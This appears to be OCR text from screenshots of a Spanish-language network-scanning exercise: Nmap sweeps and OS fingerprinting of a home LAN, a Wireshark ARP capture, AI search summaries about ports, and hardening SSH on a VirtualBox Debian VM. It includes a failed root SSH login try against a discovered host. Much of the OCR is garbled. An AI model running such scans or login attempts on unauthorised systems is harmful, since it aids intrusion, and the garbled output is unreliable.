estado open|filtered y closed|filtered cuando no puede determinar en
cual de los dos estados esta un puerto. La tabla de puertos también
puede incluir detalles de la version de la aplicacion cuando se ha
solicitado deteccion de versiones. Nmap ofrece informacion de los
protocolos IP soportados, en vez de puertos abiertos, cuando se solicita
un analisis de protocolo IP con la opcidn (-s0).

as de la tabla de puertos interesantes, Nmap puede dar informacion
ional sobre los objetivos, incluyendo el nombre de DNS segin la
lucion inversa de la IP, un listado de sistemas operativos posibles,
tipos de dispositivo, y direcciones MAC.

e ver un analisis tipico con Nmap en Ejemplo 1, “Ejemplo tipico de
analisis con Nmap”. Los unicos parametros de Nmap que se utilizan en
Manual page nmap(1) i s h for help or q to quit)]
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https://nmap.org/

0 -vvv 192,168.1.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-02 20:56 CET

Initiating ARP Ping Scan at 20:56
Scanning 255 hosts [1 port/host]

@22allAc!| ¢ Whe JWe Wa WT RT ¢ Whe JW2¢ W6 ¢ #HRWUT YWHY ¢t Wh
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_$ nmap -0 -vvv 192.168.1.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-02 20:56 CET
Initiating ARP Ping Scan at 20:56

danning 255 hosts [EEDSIALE

Completed ARP Ping Scan at 20:57, 11.47s elapsed (255 total hosts)
Initiating Parallel DNS resolution of 20 hosts. at 20:57
Completed Parallel DNS resolution of 20 hosts. at 20:57, 0.02s elapsed
DNS resolution of 20 IPs took ©.02s. Mode: Async [#: 2, OK: @, NX: 20, DR: @, SF: @, TR: 20, CN: 0]
Nmap scan report for 192.168.1.0 [host down, received no-response]
Nmap scan report for 192.168.1.2 [host down, received no-response]
Nmap scan report for 192.168.1.3 [host down, received no-response]
Nmap scan report for 192.168.1.4 [ down, received no-response]
Nmap scan report for 192.168.1.5 down, received no-responsel
Nmap scan report for 192.168.1.6 down, received no-response]
Nmap scan report for 192.168.1.7 down, received no-response]
Nmap scan report for 192.168.1.8 down, received no-response]
scan report for 192.168.1.9 [host mown, received no-response]
scan report for 1.10 [host down, received no-response]

g p

Discovered port 53/tcp on 192.168.1.201

Discovered port 8080/tcp on 192.168.1.126

Discovered en port 443/tcp on 192.168.1,92

Discovered port 80/tcp on 192.168.1.86
Discovered port 22/tcp on 192.168.1.86

Discovered port 554/tcp on 192.168.1.58
Discovered of port 88/tcp on 192.168,1.92
Discovered port 22/tcp on
Discovered port 89/tcp on 192.168.1.40
Discovered port 80/tcp on 192.168.1.138
Discovered port 554/tcp on 192.168.1.47
Discovered port 443/tcp on 192.168.1.1
Discovered port 8¢/tcp on 192.168.1.1
Discovered port 22/tcp on 192.168.1.1
Discovered port 8888/tcp on 192.168.1.35
Increasing delay for 192.168.1.37 from @ to 5 due to 11 out of 21 dropped p
robes since last increase.
Increasing send delay for 192.168.1.37 from 5 to 10 due to 11 out of 23 dropped
probes since last increase.
SYN Stealth Scan Timing: About 10.89% done; ETC: 21:01 (0:04:14 remaining)
Increasing send delay for 192.168.1.37 from 10 to 20 due to 11 out of 13 dropped
probes since last increase.

ncreasing send delay for 192,.168.1.37 from 20 to 40 due to max_successful_tryno
increase to &

iscovered open port 8000/tcp on 192.168.1.138

ncreasing send delay for 192.168,1.37 from 4@ to 80 due to max_successful_tryno
increase to 5

root§i92.168.1.92
The authenticity of host '192,168.1.92 (192,168.1.92)' can't be established.
RSA key fingerprint is: SHA256:2tL4u0ZShFRPRK9e6LSGFquhsFIKGXtSImQMOj8taAy
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.92' (RSA) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
»* The server may need to be upgraded. See https://openssh.com/pq.html
rootg192.168.1.92"'s password:
Permission denied, please try again.
root@192.168.1.92"s password: ﬂ
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Scanning 20 hosts [1000 ports/host]
i open port 53/tcp on 192.168.1.201
open port 8080/tcp on 192.168.1.126
open port 443ﬁ}cp [IEN192.168.1.92
open port 80/tcp on 192.168.1.86
open port 22/tcp on 192.168.1.86
open port 554/tcp on 192.168.1.58
open port 80/tcp on 192.168.1.92
open port 22/tcp on 192.168.1.92
open port 80/tcp on 192.168.1.40
open port 80/tcp on 192.168.1.138
open port 554/tcp on 192.168.1.47
open port 443/tcp on 192.168.1.1
open port 80/tcp on 192.168.1.1
open port 22/tcp on 192.168.1.1
open port 8888/tcp on 192.168.1.35
Increasing send delay for 192.168.1.37 from @ to 5 due to 11 out of 21 dropped probes since last increase.
Increasing send delay for 192.168.1.37 from 5 to 10 due to 11 out of 23 dropped probes since last increase.
SYN Stealth Scan Timing: About 10.89% done; ETC: 21:01 (0:04:14 remaining)
Increasing send delay for 192.168.1.37 from 10 to 20 due to 11 out of 13 dropped probes since last increase.
Increasing send delay for 192.168.1.37 from 20 to 40 due to max_successful_tryno increase to 4
Discovered open port 8000/tcp on 192.168.1.138
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Google puerto 49152

Todo

4 Vista creada con IA

El puerto 49152 es el inicio del rango de puertos efimeros,

dinamicos o privados (4915: 5), definidos por la IANA para
nacion automatica, uso temporal y servicios personalizados. Es
niunmente utilizado por sistemas operativos modernos como

Windows (Vista y posteriores) para conexiones salientes de clientes,

eliminando la necesidad de registro. @ ft Learn +3
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l I 0 -vvv 192,168.1.138

Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-02 21:06 CET

Initiating ARP Ping Scan at 21:06

Scanning 192.168.1.138 [1 port]

Completed ARP Ping Scan at 21:06, ©.12s elapsed (1 total hosts)

Initiating Parallel DNS resolution of 1 host. at 21:06

Completed Parallel DNS resolution of 1 host. at 21:06, 0.01s elapsed

DNS resolution of 1 IPs took ©.01s. Mode: Async [#: 2, OK: @, NX: 1, DR: @, SF: @, TR: 1, CN: 0]

Initiating SYN Stealth Scan at 21:06

Scanning 192.168.1.138 [1000 ports]

Discovered open port 86/tcp on 192.168.1.138

Discovered open port 8000/tcp on 192.168.1.138

Completed SYN Stealth Scan at 21:06, 0.06s elapsed (1000 total ports)

Initiating 0S detection (try #1) against 192.168.1.138

Nmap scan report for 192.168.1.138

Host is up, received arp-response (0.00016s latency).

Scanned at 2026-03-02 21:06:44 CET for 2s

Not shown: 998 closed tcp ports (reset)

PORT STATE SERVICE REASON

80/tcp open http syn-ack ttl 64

8000/tcp open http-alt syn-ack ttl 64

MAC Address: 48:9E:BD:A1:A1:39 (HP)

Device type: general purnose

Running: Linux 4.X|5.X E}

0S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5

0S details: Linux 4.15 - 5.19

TCP/IP fingerprint:

0S:SCAN(V=7.95%E=4%D=3/2%0T=80%CT=1%CU=30602%PV=Y%DS=1%DC=D%G=Y%M=489EBD¥TM

0S:=69A5SEDD6%P=Xx86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10C%¥TI=Z%CI=2%I11=1%

0S:TS=A)OPS(01=M5B4ST11NWA%02=M5B4ST11NWA%03=M5B4NNT11NWA%04=M5B4ST11NWA%05
1 =M5B4ST11NWA%06=M5B4ST11 )WIN(W1=FE88%W2=FE88%W3=FE88%W4=FEB8%WS5=FE88%W6=
: FE88 )ECN(R=Y¥DF=Y%T=40%W=FAF0 5SB4NNSNWA%CC=Y%Q= ) T1(R=Y%DF=Y%T=40%S=0%
1A=S+%F=AS%RD=0%Q= )T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%0=%RD=0
:1%Q=)T5(R=Y%¥DF=Y%T=40%W=0%S=Z%A=S+%F=AR%0=%RD=0%Q= ) T6 (R=Y%D T=40%W=0%S
1 =A%A=Z%F=R%0=%RD=0%Q= ) T7 (R=YXDF=Y%T=40%W=0%S=Z%A=S+%F=AR%0=%RD=0%Q= JU1(R
1 =Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G¥RUCK=G%RUD=G ) IE(R=Y%¥DFI=N
1%T=40%CD=S)

HPLIP Printer Application x  +

« > C @ O @ NotSecure  http://192.168.1.138:50 ¥

OffSec KaliLinux @ KaliTools < Kali Docs % Kali Forums ex Kali NetHunter Exploit-DB Google Hacking DB
P‘]

Version 3.22.10-10

Configuration Printers

Name Add Printer

Location: N
Organization:

Contact: N
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« = C @ O A NotSecure http://192.168.1.138

OffSec Kali Linux @ KaliTools = KaliDocs % Kali Forums ¢ Kali NetHunter Exploit-DB Google Hacking DB
-]

Version 3.22.10-10

Log Level:  Warning Change Log Level

Log File: Download

common /

E [ - - 6Z] Unable to open HPLIP plugin status file | J /hplip—printer—app/

common, ate

E [- Unable to open HPLIP plugin status file ap/hplip-printer—-app/

common -

E [: s 46114 Z] Unable to open HPLIP plugin status file /hplip-printer-app/
Unable to open HPLIP plugin status file / /hplip—-printer—app/
Unable to open HPLIP plugin status file nap/hplip-printer-app/

] Unable to open HPLIP plugin status / plip-printer-app/

Unable to open HPLIP plugin status file ap/hplip-printer—app/

Unable to open HPLIP plugin status file /snap/hplip-printer-app/
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Scanning 192.168.1.138 [1000 ports]

Discovered open port 808/tcp on 192.168.1.138

Discovered open port 8000/tcp on 192.168.1.138

Completed SYN Stealth Scan at 21:06, 0.06s elapsed (1000 total ports)
Initiating 0S detection (try #1) against 192.168.1.138

Nmap scan report for 192.168.1.138

Host is up, received arp-response (0.00016s latency).

Scanned at 2026-03-02 21:06:44 CET for 2s

Not shown: 998 closed tcp ports (reset)

PORT STATE SERVICE REASON

80/tcp open http syn-ack ttl 64

Fwoo/tcp open http-alt syn-ack ttl 64

MAC Address: 48:9E:BD:A1:A1:39 (HP)

Device type: general purpose

Running: Linux 4.X|5.X

0S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5

0S details: Linux 4.15 - 5.19

TCP/IP fingerprint:
0S:SCAN(V=7.95%E=4%D=3/2%0T=80%CT=1%CU=30602%PV=Y%DS=1%DC=D%G=Y%M=489EBD%TM
0S:=69A5SEDD6%P=x86_64-pc-Llinux-gnu)SEQ(SP=105%GCD=1%ISR=10C%¥TI=Z%CI=Z%11=1%
0S:TS=A)OPS(01=M5B4ST11NWA%02=M5B4ST11NWA%03=M5B4NNT11NWA%04=M5B4ST11NWA%05
0S:=M5B4ST11INWA%06=M5B4ST11 )WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=

7et Hel Wheij W2l +t RZUWgRIWUIWIL WWhe REGY AW qHB
VI clW2e WEWARI ¢l WIGW G#%¢allultOOPb

) -~
192.168.1.35
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-02 21:12 CET
[nitiating ARP Ping Scan at 21:12
Kcanning 192.168.1.35 [1 port]
ompleted ARP Ping Scan at 21:12, 1.49s elapsed (1 total hosts)
map scan report for 192.168.1.35 [host down, received no-response]

Read data files from: /usr/share/nmap
ote: Host seems down. If it is really up, but blocking our ping probes, try -Pn
map done: 1 IP address (@ hosts up) scanned in 1.65 seconds

Raw packets sent: 2 (56B) | Rcvd: @ (@B)
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Capturing from ethO

Archivo Edicion Visualizacion Ir Captura Analizar Estadisticas Telefonia Wireless Herramientas Ayuda
ADA® s BE@ 2 ¢« >n<«>»PEocnoER

Source Destination Protocol Length Info

.990395205 PCSSystemtec_55 .. Broadcast 0.1
4281 5.991843339 PCSSystemtec_55:27:.. Broadcast ARP 42 who has 172.19.42,122? Tell 172.19.0.1
4283 5.992887917 PCSSystemtec_55:27:.. Broadcast ARP 42 who has 172.19.42.123? Tell 172.19.

. Broadcast ARP 42 who has 172.19.42.1247 Tell 172.19.
. Broadcast ARP 42 who has 172.19.42.125? Tell 172.19.

(]

.993922071 PCSSystemtec_55: ]
(]

. Broadcast ARP 42 who has 172.19.42.126? Tell 172.19.0.
(]

(]

]

5

5

5.996704503 PCSSystemtec_55:
4286 5.99"*756571 PCSSystemtec_55:

5.998795601 PCSSystemtec_55:

6.000288586 PCSSystemtec_55:

6.001321969 PCSSystemtec_55:

. Broadcast ARP 42 who has 172.19.42.127? Tell 172.19.
. Broadcast ARP 42 who has 172.19.42.128? Tell 172.19.
. Broadcast ARP 42 who has 172.19.42.129? Tell 172.19.

RRRppRRERpRRREEIR LR R R

6.003753305 PCSSystemtec_55: . Broadcast (]
4292 6.004802940 PCSSystemtec_55: . Broadcast ARP 42 who has 172.19.42.132? Tell 172.19.0
4293 6.005856881 PCSSystemtec_55:27:.. Broadcast ARP 42 who has 172.19.42.133? Tell 172.19.0
4294 6.006918602 PCSSystemtec_55: .. Broadcast ARP 42 who has 172.19.42.134? Tell 172.19.0
4295 6.008026768 PCSSystemtec_55 . Broadcast ARP 42 who has 172.19.42.135? Tell 172.19.0.
4296 6.009157485 PCSSystemtec_55 . Broadcast ARP 42 who has 172.19.42.136? Tell 172.19.0
4297 6.010200131 PCSSystemtec_55: .. Broadcast ARP 42 who has 172.19.42.137? Tell 172.19.0
4298 6.011668072 PCSSystemtec_55:27:.. Broadcast ARP 42 who has 172.19.42.138? Tell 172.19.0

6.012730324 PCSSystemtec_55: . Broadcast ]

6.013802070 PCSSystemtec_55: . Broadcast

» Frame 1: Packet, 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface ethe, id © ff ff ff ff ff
» Ethernet II, Src: PCSSystemtec_55:27:ef (08:00:27:55:27:ef), Dst: Broadcast (ff:ff:ff:ff:ff:ff) 00 06 04 00 01 ©8 6@ 27 5

» Address Resolution Protocol (request) ff ff ff ff ff ac 13 19 e

Et qYWaCt WelT B¢ UqWs WA YWE e HI Re Whue W3 daql ¢ WG Wal
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\ ) ~
L¢ n 0 -vvv R 192.168.1.35
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-02 21:14 CET
Initiating ARP Ping Scan at 21:14
Scanning 192.168.1.35 [1 port]
Completed ARP Ping Scan at 21:14, 1.44s elapsed (1 total hosts)

Nmap scan report for 192.168.1.35 [host down, received no-response]
Read data files from: /usr/share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (@ hosts up) scanned in 1.58 seconds
Raw packets sent: 2 (56B) | Rcvd: @ (0B)
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LA ap -0 -vvv -p- 192.168.1.126

Starting Nmap 7.95 [yhttps://nmap.org ) at 2026-03-02 21:15 CET
Initiating ARP Ping Scan at 21:15

Scanning 192.168.1.126 [1 port]

Completed ARP Ping Scan at 21:15, 0.11s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:15
Completed Parallel DNS resolution of 1 host. at 21:15, 0.04s elapsed
DNS resolution of 1 IPs took ©.04s. Mode: Async [#: 2, OK: @, NX: 1, DR: 0, SF: @, TR: 1, CN: @]
Initiating SYN Stealth Scan at 21:15

Scanning 192.168.1.126 [65535 ports]

Discovered open port 8080/tcp on 192.168.1.126

Discovered open port 53359/tcp on 192.168.1.126

Discovered open port 15500/tcp on 192.168.1.126

Discovered open port 40334/tcp on 192.168.1.126

Discovered open port 7678/tcp on 192.168.1.126

Discovered open port 38947/tcp on 192,168.1.126

Discovered open port 8001/tcp on 192.168.1.126

Discovered open port 55140/tcp on 192.168.1.126

Discovered open port 9999/tcp on 192.168.1.126

Discovered open port 9119/tcp on 192.168.1.126

Discovered open port 48204/tcp on 192.168.1.126

Discovered open port 8002/tcp on 192.168.1.126

Discovered open port 9080/tcp on 192.168.1.126

Discovered open port 9197/tcp on 192.168.1.126

Discovered open port 51957/tcp on 192.168.1.126

Discovered open port 8187/tcp on 192.168.1.126

Discovered open port 15002/tcp on 192.168.1.126

Completed SYN Stealth Scan at 21:15, 6.87s elapsed (65535 total ports)
Initiating 0S detection (try #1) against 192.168.1.126

Nmap scan report for 192.168.1.126
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(5 403 Forbidden x  +
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map -0 -p- -A 192.168.1.126
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-02 21:17 CET
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:17
Completed NSE at 21:17, 0.08s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:17
Completed NSE at 21:17, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:17
Completed NSE at 21:17, 0.00s elapsed
Initiating ARP Ping Scan at 21:17
Scanning 192.168.1.126 [1 port]
Completed ARP Ping Scan at 21:17, 0.08s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:17
Completed Parallel DNS resolution of 1 host. at 21:17, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 2, OK: @, NX: 1, DR: @, SF: @, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 21:17
Scanning 192.168.1.126 [65535 ports]
Discovered open port 8080/tcp on 192.168.1.126
Discovered open port 9999/tcp on 192.168.1.126
Discovered open port 51957/tcp on 192.168.1.126
Discovered open port 55140/tcp on 192.168.1.126
Discovered open port 40334/tcp on 192.168.1.126
Discovered open port 38947/tcp on 192.168.1.126
Discovered open port 9080/tcp on 192.168.1.126
Discovered open port 15500/tcp on 192.168.1.126
Discovered open port 8001/tcp on 192.168.1.126

Al 2 1JH¢ Wce Y épl R Mg @Rl awawaYae U7 YWe DT ¢1 R¢ a
M WU O 18 B2l LUIN @ = FON S Y IONION = 3

EOWY qeWnet DWWt q¢el Rea Yt WRUqUWUaqe UT YW 3t A2 HI RILWHY
RUqUUqgel WRYUWHqe!l Gl Wf UqRUaqcl WnealJl Ac WAL 2 qc¢ WI 1JWe

WicUAce!l Wodwlae Grow~RWe UqR2RI 2t WA WG YLWE ¢ WGRGGET
DROYY YAWIt wWerYUWUGWEql RAz q Y Wba e LW

_._
po =

Co ©
O

cUqYWaCt Wt RNDRG Y YW We WIaWwldeée Gwact WaqRIWGGY W2 ¢ LW

UT ¢UT YWGUqRHRY Ut WYHz2Gqct WIUql JW2¢l REt B

ERWIYW6cHIIGY Whe! W RNDRGYYH YW! Whe JWa ¢ UT DWGUaqRHRY I
T DqUHEqIO

M WO O (8 Bp2HI LN & = FON = Y FONDKON (E 13 WOLL® WM alkddi ¢l C+ WRUN Y 108 131 L
¢cT waeUqUto



élWe JWaqRWUWWe UWGT Y4 ! B W W28V WIIaGWIN Ty wi 3aw[ Y
VRNCD usu

TIJy

tls-alpn:
http/1.1
_ssl-date: TLS randomness does not represent time
B08e/tcp open http-proxy syn-ack ttl 64 WebServer
_http-server-header: hiebServer
_http-title: 403 Forbidden
http-methods:
Supported Methods: OPTIONS GET HEAD POST
fingerprint-strings:
FourOhFourRequest:
HTTP/1.0 404 Not Found
Content-Type: text/html
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Content-Length: 341
Connection: close
Date: Mon, 02 Mar 2026 20:17:39 GMT
Server: WebServer
<?xml version="1.0" encoding="is0-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>404 Not Found</title>
</head>

hue RWE RWe JW2 3V W21+ RYOWIE W WIa W Ynags ¢l 1JWhe 1IWe qf

| Date: Mon, 02 Mar 2026 20:17:39 GMT

| Server: WebServer

| <?xml version="1.0" encoding="iso-8859-1"?>

| <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
| "http://wmi.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

| <html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en" lang="en">
| <head>

| <title>400 Bad Request</title>

| </head>

| <body>

| <h1>400 Bad Request</h1>

| </body>

| </html>

:187/tcp open upnp SUEET SR ad M WSamsung AllShare upnpd 1.0 (UPnP 1.1)
open glrpc? syn-ack ttl 64 A

| fingerprint-strings:

| FourOhFourRequest:
HTTP/1.0 200 OK
Date: Mon, 02 Mar 2026 21:18:25 CET
Server: NRDP/2023.1.5.0-223bdfbfde9
Connection: close

|

|

|

|

| Cache-Control: no-cache

| Content-Length: 9

| status=ok

| GetRequest:

| HTTP/1.0 200 OK

| Date: Mon, 02 Mar 2026 21:17:39 CET
| Server: NRDP/2023.1.5.0-223bdfbfde9
| Connection: close

| Cache-Control: no-cache
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Nmap scan report for 192.168.10.100
Host is up, received arp-response (0.00095s latency).
Scanned at 2026-03-02 21:06:41 CET for 1319s
: 998 filtered tcp ports (no-response)
STATE SERVICE REASON
open netbios-ssn syn-ack ttl 128
5357/tcp open syn-ack ttl 128
MAC Address: B@:6E:BF:CD:C7:49 (ASUSTek Computer)
Warning: O0SScan results may be unreliable because we could not find at least 1 open and 1 closed port
0S fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive 0S guesses: Microsoft Windows 10 1687 (97%), Microsoft Windows Phone 7.5 or 8.@ (94%), Microsoft Wind
511 (91%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1
%), Microsoft Windows vista SP@ or SP1, Windows Server 2008 SP1, or Windows 7 (91%)

69A5F2F8%P=x86_64-pc-1inux-gnu)

M5B4NWSST11%06=M5B4ST11)

U1(R=N)
TE(R=Y%DFI=N%TG=80%CD=Z)
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;Queé es un puerto?

Un puerto es un punta virkual en el que comienzan y terminan las consxcnes de red. Laos
puertos estdn basados en software v los gestiona el sistema aperative de un ardenadar,
Cada puerto estd aseciado a un proceso o service especifico. Los puertos permiten a los
ardenadores diferenciar facilmente los distintas tipos de tréfico: los commeos electrdnicos
van a un puerta distinto de las pagines web, por ejemple, aungue 2mbaos lleguen a un
nEmadnr a fravés de la misma conexidn a Intemekt



4 Vista creada con 1A

Una computadora tiene un total de W puertos virtuales (logicos) numerados del 0
al 65535, tanto para protocolos TCP como UDP, fundamentales para la comunicacion de
red. Estos permiten que multiples aplicaciones y servicios reciban y transmitan datos
simultaneamente. @ vouTube +2

Se clasifican en tres categorias principales:

« Puertos bien conocidos (Well-Known Ports) [0-1023]: Reservados para servicios
del sistema y protocolos comunes como HTTP (80), HTTPS (443), FTP (20, 21) y
SSH (22).
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Una computadora tiene un total de 65,536 puertos virtuales (l6gicos) numerados del 0
al 65535, tanto para protocolos TCP como UDP, fundamentales para la comunicacion de
red. Estos permiten que multiples aplicaciones y servicios reciban y transmitan datos
simultaneamente. @ YouTube +2

Se clasifican en tres categorias principales:

= Puertos bien conocidos (Well-Known Ports) [0-1023]: Reservados para servicios
del sistema y protocolos comunes como HTTP (80), HTTPS (443), FTP (20, 21) y
SSH (22).

= Puertos registrados (Registered Ports) [1024-49151]: Utilizados por aplicaciones y
servicios especificos.

« Puertos dinamicos o efimeros [49152-65535]: Asignados dinamicamente por &l
sistema operativo a las aplicaciones de cliente para conexiones
temporales. ¢ Akamai +4

Estos puertos logicos son distintos de los puertos fisicos (como USB, HDMI,
E[heme[]. B YouTube +3
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GO gle puerto utilizado por los servidores de impresion

ModolA Todo Iméagenes Videos Noticias  Videos cortos Web Mas ~ Herrami|

4 Vista creada con IA

El puerto mas comun utilizado por los servidores de impresion para la transmision
directa de trabajos (impresion RAW) es el TCP 9100. Otros puertos estandar incluyen
el 515 para el protocolo LPR Yy el 631 para IPP (utilizado en sistemas Unix/Linux). Para
servidores de impresion HP, los puertos 9101/9102 se usan para puertos paralelos
adicionales. @ mya solution +5

Detalles clave de los puertos de servidores de impresion:

¢ TCP 9100: Es el estandar para la impresion directa o "Raw TCF/IP printing”,
permitiendo enviar archivos directamente al bufer de la impresora.

» TCP 515: Utilizado por el protocolo LPD/LPR (Line Printer Daemon/Line Printer
Remote).

* TCP 631: Puerto estandar para IPP (Internet Printing Protocol), utilizado
comunmente en entornos CUPS/Linux.

« UDP 4201: Empleado a veces para la deteccion de impresoras en la red.

* RPC sobre TCP: Utilizado por defecto en Windows para comunicaciones cliente-

§ngidQI'. ©Q MyQ Solution +5

En la configuracion de servidores de impresion, es comun configurar puertos TCP/IP
directos apuntando a la direccion IP de la impresora utilizando estos nimeros de
puerto. @ YouTube
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g Nmap 7.95 ( Bttps://nmap.org ) at 2026-03-03 19:59 CET
map scan report for 192.168.1.48
ost is up (0.000093s latency).
ot shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
125/tcp open locus-map
AC Address: 08:00:27:E4:E0:A1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

map done: 1 IP address (1 host up) scanned in ©.25 seconds
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L— nmap 192.168.1.48

Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-03 19:59 CET
Nmap scan report for 192.168.1.48

Host is up (0.000093s latency).

Not shown: 999 closed tcp ports (reset)

PORT STATE SERVICE

125/tc open locus-map

MAC Ad 08:00:27:E4:E0:A1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds

\V 192.168.1.48

— )-[~]
L— nmap -sV 192.168.1.48
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-03 19:59 CET

Nmap scan report for 192.168.1.48
Host is up (0.00013s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
'125/tcp open ssh OpenSSH 10.0p2 Debian 7 (protocol 2.0) N
MAC Address: 08:00:27:E4:E0:A1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds

1
ot |
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STATE SERVICE VEXSION
ssh OpenSSH 10.0p2 Debian 7 (protocol 25 0)

PORT
125/tcp open
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listar servicios linux

Todo Videos magene Vit cort lotici

4 Vista creada con IA

Para listar los servicios en Linux, el método mas utilizado y moderno 1
systemd usando systemctl . El comando principal es systemctl 1i
type=service , que muestra los servicios cargados y activos. Para ve
todos los servicios, incluidos los inactivos, utiliza systemctl list-units -
all. & HostGator México +2

Comandos principales para listar y gestionar servicios:

« Listar servicios activos:

« Listar todos los servicios (activos e inactivos):
systemctl list-units --type=service --all

« Listar servicios habilitados (que inician con el sistema):

rrusrtametrl T30+ uinid+d £3ilAan *Fumamraruicra | avran Aanakhl ad

id-tmpfile N]s ] d ¥ ey i y in ~d
jstemd-tmpfiles LSEPY loaded acti exited Cre: Syste ] irectories
jstemd ] . service loaded : ive exited i U Les redent ials
istemd ' ice loade iy
jstemd - L .service loaded : ive runni ] M »for Device Events and Files
temd-user-ses: - ice loaded : ive exited Permit User S fon:
-runt ime 5 ice IGERERRE ive exited wnt ime Director unsuser/100a
Mana f I
into wtmpdh
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Archivo Maquina Ver Entrada Dispositivos Ayuda

GNU nano 8.4 setossshrssshd_config ok

éUIRBHC&ViM!MHVIIUHan
: S ssh -p 125 alfonso@192.168.1.48
ssh: connect to host 192.168.1.48 port 125: Connection refused

3 : $ ssh -p 49560 alfonso@192.168.1.48
alfonso@192.168. 1 48 s password:
Linux debian 6.12.73+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.
2-17) x86_64

The programs included with the Debian GNU/Linux system are free soft
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Mar 3 19:56:55 2026 from 192.168.1.138

0WGet ¢l guWuawlaGceGcwUY!l Geda

e U, o
L nmar / 192. 168 1 48

Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-03 20:05 CET

Nmap scan report for 192.168.1.48

Host is up (0.000092s latency).

All 1000 scanned ports on 192.168.1.48 are in ignored states.

Not shown: 1000 closed tcp ports (reset)

MAC Address: 08:00:27:E4:E0:A1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
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L$ nmap -sv -sS -T5 -p 49560 192.168.1.48
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-03 20:07 CET

Nmap scan report for 192.168.1.48
Host is up (0.00020s 1atencyi}

PORT STATE SERVICE VERSION

49560/tcp open ssh OpenSSH 10.0p2 Debian 7 (protocol 2.0)

MAC Address: 08:00:27:E4:E0:A1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds

1
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V 192,168.1.48
Starting Nmap 7.95 ( wuips://nmap.org ) at 2026-03-03 20:08 CET
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192.168.1.48

Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-03 20:08 CET
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1 -p 192.168.1.48
Starting Nmap 7.95 \~httzs://nmap.org ) at 2026-03-03 20:12 CET
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:12
Completed NSE at 20:12, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:12
Completed NSE at 20:12, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:12
Completed NSE at 20:12, 0.00s elapsed
Initiating ARP Ping Scan at 20:12
Scanning 192.168.1.48 [1 port]
Completed ARP Ping Scan at 2@:13, 15.86s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:13
Completed Parallel DNS resolution of 1 host. at 20:13, 0.00s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 2, OK: @, NX: 1, DR: @, SF:
o, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 20:13
Scanning 192.168.1.48 [65535 ports]
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/usr/share/nmap/
Completing directory

/
/
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.y )-[/usr/share/nmap/scripts |

acarsd-info.nse
address-info.nse

